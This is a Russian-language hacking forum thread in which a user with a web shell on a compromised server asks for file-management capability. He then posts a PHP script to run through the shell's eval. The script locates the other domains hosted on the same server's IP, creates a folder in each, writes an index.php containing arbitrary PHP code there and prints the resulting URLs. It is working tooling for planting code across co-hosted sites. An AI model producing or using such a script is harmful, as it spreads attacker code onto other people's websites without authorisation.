FTP доступ через Shell

Discussion in 'Linux, Freebsd, *nix' started by Bonkеrs, 20 Mar 2020.

  1. Bonkеrs

    Bonkеrs Member

    Joined:
    5 Feb 2014
    Messages:
    36
    Likes Received:
    17
    Reputations:
    3
    Имеется шел марки S.A.P. v.2.1, мне от этого шелла нужны возможности FTP (получить директории, создать папки, создать файлы). Процесс нужно автоматизировать максимально просто и быстро.

    Какие есть разумные варианты?

    Хочу услышать совет опытного человека, чтобы не изобретать свой велосипед.

    p.s. я ведь могу написать скрипт на пхп с нужным мне функционалом, залить и выполнить? Разумно? Есть еще варианты?
     
    #1 Bonkеrs, 20 Mar 2020
    Last edited: 20 Mar 2020
  2. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    Впервые слышу S.A.P. v.2.1 - не связывался, но - покажи интерфейс, как работает, есть ли исполнение команд, на каком языке реализация, ест ли бэкконнект и т.п., ибо полностью тема сисек не раскрыта...

    з.ы. я мож под очередным распитием огненных напитков предложу генитальные идеи...
    з.з.ы. могиш всю идею катануть не в паблик, а в личку.... но не факт, что быстро отвечу - работы много...
     
    _________________________
    b3 likes this.
  3. Bonkеrs

    Bonkеrs Member

    Joined:
    5 Feb 2014
    Messages:
    36
    Likes Received:
    17
    Reputations:
    3
    Накатал быдло-скрипт на пыхе, годится для решения частной задачи при соблюдении определенной структуры папок.

    Работает топорно: спускается по директории вниз от залитого шелла, пока не найдет папку с доменами. Перебираем папки, пытаемся получить IP если папка содержит в названии точку (похожа на домен) и сравнивает его с IP хоста, куда залит шелл. Если они равны, создаем папку, заливаем туда файл и в добавок чекаем наличие ssl, чтобы выплюнуть ссылку с правильным протоколом.

    Может кому сгодится;)

    Code:
    <?
    $new_folder_name = '123';
    $new_file_name = 'index.php';
    $file_text = '<? echo "php code here"';
    
    $folder_list = explode('/', dirname(__FILE__));
    
    foreach ($folder_list as $value) {
        if (strpos($value, '.')) {
            $server_ip = gethostbyname($value);
            break;
        } else {
            $dir = (empty($dir)) ? $value : '/'. $dir . '/' . $value;
        }
    }
    
    $dir_list = scandir($dir);
    
    foreach ($dir_list as $folder) {
        if (is_dir($dir . '/' . $folder) && strpos($folder, '.')) {
            if ($server_ip === gethostbyname($folder)) {
                $new_folder_dir = $dir . '/' . $folder . '/' . $new_folder_name;
                if ( !file_exists( $new_folder_dir ) && !is_dir( $new_folder_dir ) ) {
                    mkdir( $new_folder_dir );    
                }
                file_put_contents($new_folder_dir . '/index.php', $file_text);
             
                $stream = stream_context_create (array("ssl" => array("capture_peer_cert" => true)));
                $read = fopen("https://$folder", "rb", false, $stream);
                $cont = stream_context_get_params($read);
                $var = ($cont["options"]["ssl"]["peer_certificate"]);
                $protocol = (!is_null($var)) ? 'https://' : 'http://';
             
                echo $protocol . $folder . '/' . $new_folder_name . '/' . $new_file_name . PHP_EOL;
            }
        }
    }
     
  4. Bonkеrs

    Bonkеrs Member

    Joined:
    5 Feb 2014
    Messages:
    36
    Likes Received:
    17
    Reputations:
    3
    Вот так выглядит шелл, он на PHP, мой код вставлять в Eval
    [​IMG]